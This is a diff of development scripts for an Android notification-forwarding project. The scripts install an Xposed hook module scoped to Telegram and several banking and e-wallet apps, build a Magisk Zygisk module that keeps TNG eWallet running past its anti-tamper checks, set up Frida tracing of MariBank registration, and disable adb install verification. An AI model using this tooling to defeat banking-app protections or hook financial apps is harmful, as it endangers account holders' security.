if TAGS.search(line):
|
||||
hits.append(line)
|
||||
return hits
|
||||
|
||||
|
||||
def main():
|
||||
adb("logcat", "-c")
|
||||
adb("shell", "am", "force-stop", PKG)
|
||||
time.sleep(1)
|
||||
adb("shell", "am", "start", "-n", f"{PKG}/.ui.SplashActivity")
|
||||
time.sleep(12)
|
||||
print("=== after cold start ===")
|
||||
print("pids:", pid_alive())
|
||||
print("activity:", top_activity())
|
||||
|
||||
# dismiss country picker if open
|
||||
adb("shell", "input", "keyevent", "KEYCODE_BACK")
|
||||
time.sleep(1)
|
||||
|
||||
results = []
|
||||
for name, x, y, wait_s in TAPS:
|
||||
if x is not None:
|
||||
adb("shell", "input", "tap", str(x), str(y))
|
||||
print(f"\n=== tap {name} ({x},{y}) ===")
|
||||
else:
|
||||
adb("shell", "input", "keyevent", "KEYCODE_BACK")
|
||||
print(f"\n=== {name} ===")
|
||||
time.sleep(wait_s)
|
||||
pids = pid_alive()
|
||||
act = top_activity()
|
||||
crash_buf = adb("shell", "logcat", "-d", "-b", "crash", "-t", "50")[1]
|
||||
fatal = [l for l in crash_buf.splitlines() if PKG in l or "vhvlnqgy" in l]
|
||||
results.append((name, pids, act, fatal))
|
||||
print("pids:", pids or "DEAD")
|
||||
print("activity:", act)
|
||||
if fatal:
|
||||
print("CRASH:", fatal[-3:])
|
||||
|
||||
print("\n=== summary ===")
|
||||
ok = True
|
||||
for name, pids, act, fatal in results:
|
||||
status = "OK" if pids and not fatal else "FAIL"
|
||||
if status == "FAIL":
|
||||
ok = False
|
||||
print(f"{status} {name}: pids={pids} activity={act} crash_lines={len(fatal)}")
|
||||
|
||||
hits = logcat_since("2000")
|
||||
print(f"\n=== key log lines ({len(hits)}) ===")
|
||||
for line in hits[-40:]:
|
||||
print(line)
|
||||
|
||||
return 0 if ok else 1
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
10
scripts/_tng_anr_dump.sh
Normal file
10
scripts/_tng_anr_dump.sh
Normal file
@@ -0,0 +1,10 @@
|
||||
#!/system/bin/sh
|
||||
ANR=/data/anr/anr_2026-07-31-13-30-08-628
|
||||
echo "=== header ==="
|
||||
su -c "head -40 $ANR"
|
||||
echo "=== main tid ==="
|
||||
su -c "grep -n '\"main\"' $ANR | head -5"
|
||||
echo "=== main block ==="
|
||||
su -c "awk '/\"main\" prio/{p=1} p{print} p&&/^$/{c++} c>=2{exit}' $ANR" | head -80
|
||||
echo "=== cpu ==="
|
||||
su -c "grep -A20 'CPU usage' $ANR | head -30"
|
||||
6
scripts/_tng_anr_render.sh
Normal file
6
scripts/_tng_anr_render.sh
Normal file
@@ -0,0 +1,6 @@
|
||||
#!/system/bin/sh
|
||||
ANR=/data/anr/anr_2026-07-31-13-30-08-628
|
||||
echo "=== RenderThread ==="
|
||||
su -c "awk '/\"RenderThread\"/{p=1} p{print} p&&/^\"/{if(!/RenderThread/){exit}}' $ANR" | head -60
|
||||
echo "=== Quake / promon threads ==="
|
||||
su -c "grep -E '^\"|libtng|Quake|xwwq|promon|tiger' $ANR | head -80"
|
||||
22
scripts/_tng_getprop_hunt.sh
Normal file
22
scripts/_tng_getprop_hunt.sh
Normal file
@@ -0,0 +1,22 @@
|
||||
#!/system/bin/sh
|
||||
# 抓到 getprop 子进程瞬间 dump 其 syscall/status(验证 exit_group 被 seccomp 卡住)
|
||||
PKG="my.com.tngdigital.ewallet"
|
||||
|
||||
am force-stop "$PKG" 2>/dev/null
|
||||
sleep 1
|
||||
am start -n "$PKG/.ui.SplashActivity" 2>/dev/null
|
||||
|
||||
i=0
|
||||
while [ $i -lt 200 ]; do
|
||||
i=$((i+1))
|
||||
for gp in $(pidof getprop 2>/dev/null); do
|
||||
ppid=$(awk '/^PPid/{print $2}' /proc/$gp/status 2>/dev/null)
|
||||
pp=$(tr '\0' ' ' < /proc/$ppid/cmdline 2>/dev/null)
|
||||
echo "GETPROP pid=$gp ppid=$ppid pp=[$pp]"
|
||||
echo " seccomp: $(grep -i seccomp /proc/$gp/status 2>/dev/null | tr '\n' ' ')"
|
||||
echo " syscall: $(cat /proc/$gp/syscall 2>/dev/null)"
|
||||
echo " wchan: $(cat /proc/$gp/wchan 2>/dev/null) state=$(awk '/^State/{print $2}' /proc/$gp/status 2>/dev/null)"
|
||||
done
|
||||
sleep 0.05
|
||||
done
|
||||
echo "=== done ==="
|
||||
24
scripts/_tng_pin_check.sh
Normal file
24
scripts/_tng_pin_check.sh
Normal file
@@ -0,0 +1,24 @@
|
||||
#!/system/bin/sh
|
||||
logcat -c
|
||||
input keyevent KEYCODE_WAKEUP
|
||||
settings put system screen_off_timeout 600000
|
||||
am force-stop my.com.tngdigital.ewallet
|
||||
sleep 1
|
||||
monkey -p my.com.tngdigital.ewallet -c android.intent.category.LAUNCHER 1 >/dev/null 2>&1
|
||||
i=0
|
||||
while [ $i -lt 40 ]; do
|
||||
sleep 1
|
||||
i=$((i+1))
|
||||
p=$(pidof my.com.tngdigital.ewallet)
|
||||
if [ -z "$p" ]; then
|
||||
echo "t=${i}s DEAD"
|
||||
break
|
||||
fi
|
||||
if [ $((i % 5)) -eq 0 ]; then
|
||||
echo "t=${i}s pid=$p"
|
||||
fi
|
||||
done
|
||||
echo "=== focus ==="
|
||||
dumpsys window 2>/dev/null | grep -E 'mCurrentFocus|mFocusedApp' | head -4
|
||||
echo "=== key ==="
|
||||
logcat -d 2>/dev/null | grep -E 'TngExitGuard|Displayed.*User|UserPin|UserLogin|seccomp|caught sig=|exited cleanly|Fatal signal|ANR in my.com.tng' | tail -40
|
||||
39
scripts/_tng_pipe_writer.sh
Normal file
39
scripts/_tng_pipe_writer.sh
Normal file
@@ -0,0 +1,39 @@
|
||||
#!/system/bin/sh
|
||||
# 抓 TigerTally fread 阻塞的 pipe 写端进程。自动启动 TNG 并连续扫描。
|
||||
PKG="my.com.tngdigital.ewallet"
|
||||
|
||||
am force-stop "$PKG" 2>/dev/null
|
||||
sleep 1
|
||||
am start -n "$PKG/.ui.SplashActivity" 2>/dev/null
|
||||
|
||||
i=0
|
||||
while [ $i -lt 40 ]; do
|
||||
i=$((i+1))
|
||||
pid=""
|
||||
for p in $(pidof "$PKG"); do
|
||||
if [ "$(tr '\0' ' ' < /proc/$p/cmdline 2>/dev/null | tr -d ' ')" = "$PKG" ]; then pid=$p; break; fi
|
||||
done
|
||||
if [ -z "$pid" ]; then sleep 0.5; continue; fi
|
||||
|
||||
for d in /proc/$pid/task/*/; do
|
||||
t="${d%/}"
|
||||
s=$(cat "$t/syscall" 2>/dev/null)
|
||||
case "$s" in
|
||||
63*)
|
||||
c=$(cat "$t/comm" 2>/dev/null)
|
||||
fd=$(echo "$s" | awk '{print $2}')
|
||||
fd=$((fd))
|
||||
tgt=$(readlink "/proc/$pid/fd/$fd" 2>/dev/null)
|
||||
echo "[$i] pid=$pid TID=${t##*/} comm=$c wchan=$(cat "$t/wchan" 2>/dev/null) syscall=$s"
|
||||
echo "[$i] fd=$fd -> $tgt"
|
||||
ino=$(echo "$tgt" | sed 's/.*\[//; s/\]//')
|
||||
if [ -n "$ino" ]; then
|
||||
echo "[$i] writer-search inode=$ino:"
|
||||
find /proc/[0-9]*/fd -lname "*$ino*" 2>/dev/null
|
||||
fi
|
||||
;;
|
||||
esac
|
||||
done
|
||||
sleep 0.5
|
||||
done
|
||||
echo "=== scan done ==="
|
||||
65
scripts/_tng_pipe_writer2.sh
Normal file
65
scripts/_tng_pipe_writer2.sh
Normal file
@@ -0,0 +1,65 @@
|
||||
#!/system/bin/sh
|
||||
# 抓 TigerTally fread 阻塞的 pipe 写端进程,命中后立即 dump 该进程身份/冻结状态。
|
||||
PKG="my.com.tngdigital.ewallet"
|
||||
|
||||
am force-stop "$PKG" 2>/dev/null
|
||||
sleep 1
|
||||
am start -n "$PKG/.ui.SplashActivity" 2>/dev/null
|
||||
|
||||
i=0
|
||||
while [ $i -lt 60 ]; do
|
||||
i=$((i+1))
|
||||
pid=""
|
||||
for p in $(pidof "$PKG"); do
|
||||
if [ "$(tr '\0' ' ' < /proc/$p/cmdline 2>/dev/null | tr -d ' ')" = "$PKG" ]; then pid=$p; break; fi
|
||||
done
|
||||
if [ -z "$pid" ]; then sleep 0.5; continue; fi
|
||||
|
||||
for d in /proc/$pid/task/*/; do
|
||||
t="${d%/}"
|
||||
s=$(cat "$t/syscall" 2>/dev/null)
|
||||
case "$s" in
|
||||
63*)
|
||||
c=$(cat "$t/comm" 2>/dev/null)
|
||||
case "$c" in
|
||||
*pool*|*Tiger*|*tiger*|*tally*|*Tally*)
|
||||
fd=$(echo "$s" | awk '{print $2}')
|
||||
fd=$((fd))
|
||||
tgt=$(readlink "/proc/$pid/fd/$fd" 2>/dev/null)
|
||||
echo "[$i] MAIN pid=$pid TID=${t##*/} comm=$c wchan=$(cat "$t/wchan" 2>/dev/null)"
|
||||
echo "[$i] MAIN fd=$fd -> $tgt"
|
||||
ino=$(echo "$tgt" | sed 's/.*\[//; s/\]//')
|
||||
[ -z "$ino" ] && continue
|
||||
echo "[$i] writer-search inode=$ino:"
|
||||
for wp in $(find /proc/[0-9]*/fd -lname "*$ino*" 2>/dev/null); do
|
||||
echo "[$i] $wp"
|
||||
done
|
||||
# dump 所有非主进程端点
|
||||
for wp in $(find /proc/[0-9]*/fd -lname "*$ino*" 2>/dev/null); do
|
||||
wproc=$(echo "$wp" | cut -d/ -f3)
|
||||
[ "$wproc" = "$pid" ] && continue
|
||||
wfd=$(echo "$wp" | cut -d/ -f5)
|
||||
echo "[$i] WRITER proc=$wproc fd=$wfd"
|
||||
echo "[$i] cmdline: $(tr '\0' ' ' < /proc/$wproc/cmdline 2>/dev/null)"
|
||||
echo "[$i] comm: $(cat /proc/$wproc/comm 2>/dev/null) state=$(cat /proc/$wproc/stat 2>/dev/null | awk '{print $3}')"
|
||||
cg=$(cat /proc/$wproc/cgroup 2>/dev/null | grep -v freezer | head -1)
|
||||
echo "[$i] cgroup: $cg"
|
||||
# cgroup v2 freezer
|
||||
cgpath=$(echo "$cg" | sed 's/^[0-9]*://')
|
||||
if [ -f "/sys/fs/cgroup${cgpath}/cgroup.freeze" ]; then
|
||||
echo "[$i] cgroup.freeze=$(cat /sys/fs/cgroup${cgpath}/cgroup.freeze 2>/dev/null)"
|
||||
fi
|
||||
echo "[$i] threads(wchan):"
|
||||
for td in /proc/$wproc/task/*/; do
|
||||
ttn=${td%/}
|
||||
echo "[$i] ${ttn##*/} $(cat $ttn/comm 2>/dev/null) $(cat $ttn/wchan 2>/dev/null)"
|
||||
done
|
||||
done
|
||||
;;
|
||||
esac
|
||||
;;
|
||||
esac
|
||||
done
|
||||
sleep 0.4
|
||||
done
|
||||
echo "=== scan done ==="
|
||||
46
scripts/_tng_proc_scan.sh
Normal file
46
scripts/_tng_proc_scan.sh
Normal file
@@ -0,0 +1,46 @@
|
||||
#!/system/bin/sh
|
||||
# TNG eWallet — 启动期 /proc 扫描:定位阻塞在 read 的 TigerTally 线程及其 fd 目标。
|
||||
# 用法: adb shell su -c 'sh /data/local/tmp/_tng_proc_scan.sh [loop_seconds]'
|
||||
PKG="my.com.tngdigital.ewallet"
|
||||
LOOP="${1:-1}" # 持续扫描秒数(默认 1 秒抓一次快照)
|
||||
|
||||
# 选主进程(cmdline 恰为包名,排除 :tools / :goacqowmmt 等子进程)
|
||||
main_pid=""
|
||||
for p in $(pidof "$PKG"); do
|
||||
if [ "$(tr '\0' ' ' < /proc/$p/cmdline 2>/dev/null | tr -d ' ')" = "$PKG" ]; then
|
||||
main_pid="$p"
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
[ -z "$main_pid" ] && { echo "NO-MAIN-PROC pidof=$(pidof $PKG)"; exit 1; }
|
||||
echo "=== main pid=$main_pid ==="
|
||||
|
||||
i=0
|
||||
while [ $i -lt "$LOOP" ]; do
|
||||
i=$((i+1))
|
||||
echo "--- scan #$i ---"
|
||||
# 1) 所有可疑线程的状态
|
||||
for tid in $(ls /proc/$main_pid/task 2>/dev/null); do
|
||||
comm=$(cat /proc/$main_pid/task/$tid/comm 2>/dev/null)
|
||||
case "$comm" in
|
||||
*pool*|*location*|*tally*|*Tiger*|*tiger*)
|
||||
syscall=$(cat /proc/$main_pid/task/$tid/syscall 2>/dev/null)
|
||||
wchan=$(cat /proc/$main_pid/task/$tid/wchan 2>/dev/null)
|
||||
stat=$(cat /proc/$main_pid/task/$tid/stat 2>/dev/null | awk '{print $3}')
|
||||
echo "TID=$tid comm=$comm state=$stat syscall=[$syscall] wchan=$wchan"
|
||||
;;
|
||||
esac
|
||||
done
|
||||
# 2) 所有管道/套接字 fd(TigerTally 握手候选)
|
||||
for fd in /proc/$main_pid/fd/*; do
|
||||
tgt=$(readlink "$fd" 2>/dev/null)
|
||||
case "$tgt" in
|
||||
*pipe:*|*socket:*|*anon_inode:*)
|
||||
echo "FD=$(basename $fd) -> $tgt"
|
||||
;;
|
||||
esac
|
||||
done
|
||||
[ $i -lt "$LOOP" ] && sleep 1
|
||||
done
|
||||
echo "=== done ==="
|
||||
26
scripts/build-debug.ps1
Normal file
26
scripts/build-debug.ps1
Normal file
@@ -0,0 +1,26 @@
|
||||
# Build debug APKs for notiMessage (app + xposed-module)
|
||||
$ErrorActionPreference = "Stop"
|
||||
$ProjectRoot = Split-Path -Parent $PSScriptRoot
|
||||
Set-Location $ProjectRoot
|
||||
|
||||
$env:JAVA_HOME = "C:\Program Files\Java\jdk-17"
|
||||
$javaHomeArg = "-Dorg.gradle.java.home=C:\Program Files\Java\jdk-17"
|
||||
Write-Host "JAVA_HOME=$env:JAVA_HOME"
|
||||
Write-Host "Building debug APKs..."
|
||||
& "$ProjectRoot\gradlew.bat" $javaHomeArg :app:assembleDebug :xposed-module:assembleDebug
|
||||
if ($LASTEXITCODE -ne 0) { exit $LASTEXITCODE }
|
||||
|
||||
$appApk = Join-Path $ProjectRoot "app\build\outputs\apk\debug\app-debug.apk"
|
||||
$xposedApk = Join-Path $ProjectRoot "xposed-module\build\outputs\apk\debug\xposed-module-debug.apk"
|
||||
|
||||
Write-Host ""
|
||||
if (Test-Path $appApk) {
|
||||
Write-Host "App OK: $appApk"
|
||||
} else {
|
||||
Write-Host "App APK not found." -ForegroundColor Yellow
|
||||
}
|
||||
if (Test-Path $xposedApk) {
|
||||
Write-Host "Xposed OK: $xposedApk"
|
||||
} else {
|
||||
Write-Host "Xposed APK not found." -ForegroundColor Yellow
|
||||
}
|
||||
55
scripts/build-install-tng-exit-guard.ps1
Normal file
55
scripts/build-install-tng-exit-guard.ps1
Normal file
@@ -0,0 +1,55 @@
|
||||
# Build + install TNG Zygisk exit guard
|
||||
param(
|
||||
[switch]$SkipInstall,
|
||||
[switch]$NoReboot
|
||||
)
|
||||
|
||||
$ErrorActionPreference = "Stop"
|
||||
$Root = Split-Path -Parent $PSScriptRoot
|
||||
$Mod = Join-Path $Root "magisk-modules\tng_exit_guard"
|
||||
$Ndk = "C:\Users\Administrator\AppData\Local\Android\Sdk\ndk\21.4.7075529"
|
||||
$NdkBuild = Join-Path $Ndk "ndk-build.cmd"
|
||||
$Adb = "C:\Users\Administrator\AppData\Local\Android\Sdk\platform-tools\adb.exe"
|
||||
|
||||
if (-not (Test-Path $NdkBuild)) {
|
||||
throw "ndk-build not found: $NdkBuild"
|
||||
}
|
||||
|
||||
Write-Host "=== ndk-build ===" -ForegroundColor Cyan
|
||||
Push-Location $Mod
|
||||
& $NdkBuild NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=jni/Android.mk NDK_APPLICATION_MK=jni/Application.mk -j8
|
||||
if ($LASTEXITCODE -ne 0) { Pop-Location; throw "ndk-build failed" }
|
||||
|
||||
$built = Join-Path $Mod "libs\arm64-v8a\libtng_exit_guard.so"
|
||||
if (-not (Test-Path $built)) {
|
||||
# some ndk versions omit lib prefix based on LOCAL_MODULE
|
||||
$built = Get-ChildItem (Join-Path $Mod "libs\arm64-v8a") -Filter "*.so" | Select-Object -First 1 -ExpandProperty FullName
|
||||
}
|
||||
if (-not $built -or -not (Test-Path $built)) { Pop-Location; throw "built .so missing" }
|
||||
|
||||
$zygiskDir = Join-Path $Mod "zygisk"
|
||||
New-Item -ItemType Directory -Force -Path $zygiskDir | Out-Null
|
||||
Copy-Item $built (Join-Path $zygiskDir "arm64-v8a.so") -Force
|
||||
Write-Host "built -> zygisk\arm64-v8a.so ($((Get-Item (Join-Path $zygiskDir 'arm64-v8a.so')).Length) bytes)"
|
||||
Pop-Location
|
||||
|
||||
if ($SkipInstall) { return }
|
||||
|
||||
Write-Host "=== install Magisk module ===" -ForegroundColor Cyan
|
||||
& $Adb wait-for-device
|
||||
& $Adb shell "su -c 'mkdir -p /data/adb/modules/tng_exit_guard/zygisk'"
|
||||
& $Adb push (Join-Path $Mod "module.prop") /data/local/tmp/tng_exit_guard_module.prop
|
||||
& $Adb push (Join-Path $zygiskDir "arm64-v8a.so") /data/local/tmp/tng_exit_guard.so
|
||||
& $Adb shell "su -c 'cp /data/local/tmp/tng_exit_guard_module.prop /data/adb/modules/tng_exit_guard/module.prop; cp /data/local/tmp/tng_exit_guard.so /data/adb/modules/tng_exit_guard/zygisk/arm64-v8a.so; chmod 644 /data/adb/modules/tng_exit_guard/module.prop; chmod 755 /data/adb/modules/tng_exit_guard/zygisk/arm64-v8a.so; rm -f /data/adb/modules/tng_exit_guard/disable /data/adb/modules/tng_exit_guard/remove; ls -la /data/adb/modules/tng_exit_guard/ /data/adb/modules/tng_exit_guard/zygisk/'"
|
||||
|
||||
if (-not $NoReboot) {
|
||||
Write-Host "=== soft reboot zygote (module loads on next specialize) ===" -ForegroundColor Yellow
|
||||
Write-Host "Magisk Zygisk modules usually need a FULL reboot. Rebooting device..."
|
||||
& $Adb reboot
|
||||
Write-Host "Waiting for device..."
|
||||
& $Adb wait-for-device
|
||||
Start-Sleep -Seconds 25
|
||||
& $Adb shell "getprop sys.boot_completed"
|
||||
}
|
||||
|
||||
Write-Host "Done. Launch TNG and check: adb logcat -s TngExitGuard:I LSPosed-Bridge:I" -ForegroundColor Green
|
||||
37
scripts/configure-lsposed.py
Normal file
37
scripts/configure-lsposed.py
Normal file
@@ -0,0 +1,37 @@
|
||||
import shutil
|
||||
import sqlite3
|
||||
import sys
|
||||
|
||||
db_path = sys.argv[1]
|
||||
apk_path = sys.argv[2]
|
||||
hook_pkg = "com.miraclegarden.smsmessage.xposed"
|
||||
scopes = [
|
||||
"org.telegram.messenger.web",
|
||||
"org.telegram.messenger",
|
||||
"com.miraclegarden.smsmessage",
|
||||
"sg.com.maribankmobile.digitalbank",
|
||||
"ph.seabank.seabank",
|
||||
"au.com.up.money",
|
||||
"au.com.suncorp.marketplace",
|
||||
"au.com.bank86400",
|
||||
"my.com.tngdigital.ewallet",
|
||||
]
|
||||
|
||||
shutil.copy2(db_path, db_path + ".bak")
|
||||
conn = sqlite3.connect(db_path)
|
||||
c = conn.cursor()
|
||||
|
||||
c.execute(
|
||||
"INSERT OR REPLACE INTO modules (mid, module_pkg_name, apk_path, enabled, auto_include) "
|
||||
"VALUES (?, ?, ?, ?, ?)",
|
||||
(2, hook_pkg, apk_path, 1, 0),
|
||||
)
|
||||
c.execute("DELETE FROM scope WHERE mid = 2")
|
||||
for pkg in scopes:
|
||||
c.execute(
|
||||
"INSERT OR REPLACE INTO scope (mid, app_pkg_name, user_id) VALUES (?, ?, ?)",
|
||||
(2, pkg, 0),
|
||||
)
|
||||
conn.commit()
|
||||
conn.close()
|
||||
print("configured", hook_pkg, "scopes=", scopes)
|
||||
21
scripts/diag-tng-exit-guard.sh
Normal file
21
scripts/diag-tng-exit-guard.sh
Normal file
@@ -0,0 +1,21 @@
|
||||
#!/system/bin/sh
|
||||
set -x
|
||||
echo "=== magisk ver ==="
|
||||
magisk -c
|
||||
magisk -v
|
||||
echo "=== zygisk setting ==="
|
||||
magisk --sqlite 'SELECT * FROM settings'
|
||||
echo "=== path ==="
|
||||
MAGISK_PATH=$(magisk --path)
|
||||
echo "MAGISK_PATH=$MAGISK_PATH"
|
||||
ls -la "$MAGISK_PATH" 2>/dev/null | head -30
|
||||
ls -la "$MAGISK_PATH/zygisk" 2>/dev/null
|
||||
ls -la /data/adb/modules/
|
||||
ls -la /data/adb/modules/tng_exit_guard/
|
||||
ls -la /data/adb/modules/tng_exit_guard/zygisk/
|
||||
echo "=== denylist tng ==="
|
||||
magisk --denylist ls 2>/dev/null | grep -i tng || echo "TNG not on denylist"
|
||||
echo "=== processes ==="
|
||||
ps -A | grep -iE 'magiskd|zygisk|lspd|vector|tngdigital' || true
|
||||
echo "=== logcat zygisk ==="
|
||||
logcat -d | grep -iE 'zygisk|TngExit|tng_exit' | tail -40
|
||||
41
scripts/install-debug.ps1
Normal file
41
scripts/install-debug.ps1
Normal file
@@ -0,0 +1,41 @@
|
||||
# Install debug APKs to connected Android device via adb
|
||||
$ErrorActionPreference = "Stop"
|
||||
$ProjectRoot = Split-Path -Parent $PSScriptRoot
|
||||
$appApk = Join-Path $ProjectRoot "app\build\outputs\apk\debug\app-debug.apk"
|
||||
$xposedApk = Join-Path $ProjectRoot "xposed-module\build\outputs\apk\debug\xposed-module-debug.apk"
|
||||
|
||||
if (-not (Test-Path $appApk)) {
|
||||
Write-Host "App APK not found. Run scripts\build-debug.ps1 first." -ForegroundColor Red
|
||||
exit 1
|
||||
}
|
||||
|
||||
$sdk = "C:\Users\Administrator\AppData\Local\Android\Sdk"
|
||||
$adb = Join-Path $sdk "platform-tools\adb.exe"
|
||||
if (-not (Test-Path $adb)) {
|
||||
Write-Host "adb not found at $adb" -ForegroundColor Red
|
||||
exit 1
|
||||
}
|
||||
|
||||
& $adb devices
|
||||
Write-Host "Installing app: $appApk ..."
|
||||
& $adb shell settings put global verifier_verify_adb_installs 0 2>$null
|
||||
& $adb install -r -t -g $appApk
|
||||
if ($LASTEXITCODE -ne 0) {
|
||||
Write-Host "Retry install with --bypass-low-target-sdk-block ..."
|
||||
& $adb install -r -t -g --bypass-low-target-sdk-block $appApk
|
||||
}
|
||||
if ($LASTEXITCODE -ne 0) { exit $LASTEXITCODE }
|
||||
|
||||
if (Test-Path $xposedApk) {
|
||||
Write-Host "Installing xposed module: $xposedApk ..."
|
||||
& $adb install -r -t -g $xposedApk
|
||||
if ($LASTEXITCODE -ne 0) {
|
||||
& $adb install -r -t -g --bypass-low-target-sdk-block $xposedApk
|
||||
}
|
||||
if ($LASTEXITCODE -ne 0) { exit $LASTEXITCODE }
|
||||
} else {
|
||||
Write-Host "Xposed APK not found, skipped." -ForegroundColor Yellow
|
||||
}
|
||||
|
||||
Write-Host "Install OK." -ForegroundColor Green
|
||||
Write-Host "Remember to enable the module in LSPosed and scope Telegram + notiMessage."
|
||||
144
scripts/install-frida.ps1
Normal file
144
scripts/install-frida.ps1
Normal file
@@ -0,0 +1,144 @@
|
||||
# Install Frida (PC) + frida-server (device) for MariBank trace
|
||||
param(
|
||||
[switch]$SkipServer,
|
||||
[switch]$StartServer
|
||||
)
|
||||
|
||||
$ErrorActionPreference = "Stop"
|
||||
$ProjectRoot = Split-Path -Parent $PSScriptRoot
|
||||
$FridaDir = Join-Path $ProjectRoot "reverse\frida"
|
||||
$Req = Join-Path $FridaDir "requirements.txt"
|
||||
$Sdk = "C:\Users\Administrator\AppData\Local\Android\Sdk"
|
||||
$Adb = Join-Path $Sdk "platform-tools\adb.exe"
|
||||
|
||||
if (-not (Test-Path $Adb)) {
|
||||
throw "adb not found: $Adb"
|
||||
}
|
||||
|
||||
# Prefer Python 3.8+ (3.6 breaks frida / type hints)
|
||||
$Py = $null
|
||||
foreach ($c in @("py -3.12", "py -3", "python3", "python")) {
|
||||
try {
|
||||
$v = Invoke-Expression "$c -c `"import sys; print(sys.version_info[:2])`"" 2>$null
|
||||
if ($v -match "\(3,\s*([89]|1[0-9])\)") {
|
||||
$Py = $c
|
||||
break
|
||||
}
|
||||
} catch {}
|
||||
}
|
||||
if (-not $Py) { $Py = "py -3" }
|
||||
|
||||
Write-Host "Using Python: $Py" -ForegroundColor Cyan
|
||||
$env:SSL_CERT_FILE = $null
|
||||
$env:REQUESTS_CA_BUNDLE = $null
|
||||
& Invoke-Expression "$Py -m pip install --upgrade pip --trusted-host pypi.org --trusted-host files.pythonhosted.org" 2>&1 | Out-Null
|
||||
& Invoke-Expression "$Py -m pip install -r `"$Req`" --trusted-host pypi.org --trusted-host files.pythonhosted.org"
|
||||
|
||||
$FridaVer = (& Invoke-Expression "$Py -c `"import frida; print(frida.__version__)`"").Trim()
|
||||
Write-Host "frida-python $FridaVer installed" -ForegroundColor Green
|
||||
|
||||
$env:Path = [System.Environment]::GetEnvironmentVariable("Path", "User") + ";" + (
|
||||
& Invoke-Expression "$Py -c `"import sysconfig; import os; print(os.path.join(sysconfig.get_path('scripts')))`""
|
||||
)
|
||||
$FridaCli = Get-Command frida -ErrorAction SilentlyContinue
|
||||
if ($FridaCli) {
|
||||
Write-Host "frida CLI: $($FridaCli.Source)" -ForegroundColor Green
|
||||
} else {
|
||||
Write-Host "frida CLI not on PATH; use: $Py -m frida" -ForegroundColor Yellow
|
||||
}
|
||||
|
||||
Write-Host "`nadb devices:" -ForegroundColor Cyan
|
||||
& $Adb devices
|
||||
$serial = (& $Adb devices | Select-String "device$" | Where-Object { $_ -notmatch "List of" } | ForEach-Object { ($_ -split "\s+")[0] } | Select-Object -First 1)
|
||||
if (-not $serial) {
|
||||
Write-Warning "No device connected — skip frida-server push. Connect Pixel 6 and re-run."
|
||||
exit 0
|
||||
}
|
||||
|
||||
if ($SkipServer) { exit 0 }
|
||||
|
||||
$Abi = (& $Adb -s $serial shell getprop ro.product.cpu.abi).Trim()
|
||||
Write-Host "Device ABI: $Abi" -ForegroundColor Cyan
|
||||
|
||||
$ArchMap = @{
|
||||
"arm64-v8a" = "android-arm64"
|
||||
"armeabi-v7a" = "android-arm"
|
||||
"x86_64" = "android-x86_64"
|
||||
"x86" = "android-x86"
|
||||
}
|
||||
if (-not $ArchMap.ContainsKey($Abi)) {
|
||||
throw "Unsupported ABI: $Abi"
|
||||
}
|
||||
$FridaAsset = $ArchMap[$Abi]
|
||||
$ServerName = "frida-server-$FridaVer-$FridaAsset"
|
||||
$ServerDir = Join-Path $FridaDir "bin"
|
||||
$ServerBin = Join-Path $ServerDir "frida-server"
|
||||
$XzFile = Join-Path $ServerDir "$ServerName.xz"
|
||||
New-Item -ItemType Directory -Force -Path $ServerDir | Out-Null
|
||||
|
||||
if (-not (Test-Path $ServerBin)) {
|
||||
$Url = "https://github.com/frida/frida/releases/download/$FridaVer/$ServerName.xz"
|
||||
Write-Host "Downloading $Url ..." -ForegroundColor Cyan
|
||||
Invoke-WebRequest -Uri $Url -OutFile $XzFile -UseBasicParsing
|
||||
|
||||
# Windows 10+ tar supports xz in some builds; try 7z or python lzma
|
||||
$extracted = $false
|
||||
try {
|
||||
tar -xf $XzFile -C $ServerDir 2>$null
|
||||
if (Test-Path (Join-Path $ServerDir $ServerName)) {
|
||||
Move-Item -Force (Join-Path $ServerDir $ServerName) $ServerBin
|
||||
$extracted = $true
|
||||
}
|
||||
} catch {}
|
||||
|
||||
if (-not $extracted) {
|
||||
$Py312 = "C:\Users\Administrator\AppData\Local\Programs\Python\Python312\python.exe"
|
||||
if (-not (Test-Path $Py312)) { $Py312 = "python" }
|
||||
& $Py312 -c @"
|
||||
import lzma
|
||||
from pathlib import Path
|
||||
xz = Path(r'$XzFile')
|
||||
out = Path(r'$ServerBin')
|
||||
with lzma.open(xz) as f:
|
||||
out.write_bytes(f.read())
|
||||
print('extracted', out, out.stat().st_size)
|
||||
"@
|
||||
$extracted = Test-Path $ServerBin
|
||||
}
|
||||
Remove-Item $XzFile -ErrorAction SilentlyContinue
|
||||
}
|
||||
|
||||
if (-not (Test-Path $ServerBin)) {
|
||||
throw "frida-server binary missing at $ServerBin"
|
||||
}
|
||||
|
||||
Write-Host "Pushing frida-server to device ..." -ForegroundColor Cyan
|
||||
& $Adb -s $serial push $ServerBin /data/local/tmp/frida-server
|
||||
& $Adb -s $serial shell "su -c 'chmod 755 /data/local/tmp/frida-server && pkill -9 frida-server 2>/dev/null; /data/local/tmp/frida-server -D &'" 2>&1 | Out-Null
|
||||
Start-Sleep -Seconds 2
|
||||
|
||||
$check = & $Adb -s $serial shell "su -c 'pgrep frida-server'" 2>&1
|
||||
if ($check -match "\d") {
|
||||
Write-Host "frida-server running (pid $check)" -ForegroundColor Green
|
||||
} else {
|
||||
Write-Warning "frida-server may not be running. Manual: adb shell su -c '/data/local/tmp/frida-server -D &'"
|
||||
}
|
||||
|
||||
if ($StartServer) {
|
||||
$Trace = Join-Path $FridaDir "run-frida-trace.ps1"
|
||||
Write-Host "Starting trace ..." -ForegroundColor Cyan
|
||||
& $Trace -Mode spawn
|
||||
}
|
||||
|
||||
Write-Host @"
|
||||
|
||||
安装完成:
|
||||
PC : frida $FridaVer
|
||||
手机: /data/local/tmp/frida-server
|
||||
|
||||
下一步:
|
||||
cd reverse\frida
|
||||
..\..\scripts\install-frida.ps1 -StartServer
|
||||
或: frida -U -f ph.seabank.seabank -l trace_maribank_register.js
|
||||
|
||||
"@ -ForegroundColor Green
|
||||
5
scripts/install-from-studio.ps1
Normal file
5
scripts/install-from-studio.ps1
Normal file
@@ -0,0 +1,5 @@
|
||||
# 在 Android Studio 中安装完整版(主 App + Xposed 模块)
|
||||
# 用法: Run 选 app 只会装主包;完整版请运行此脚本或 install-full.ps1
|
||||
|
||||
$ErrorActionPreference = "Stop"
|
||||
& "$PSScriptRoot\install-full.ps1"
|
||||
72
scripts/install-full.ps1
Normal file
72
scripts/install-full.ps1
Normal file
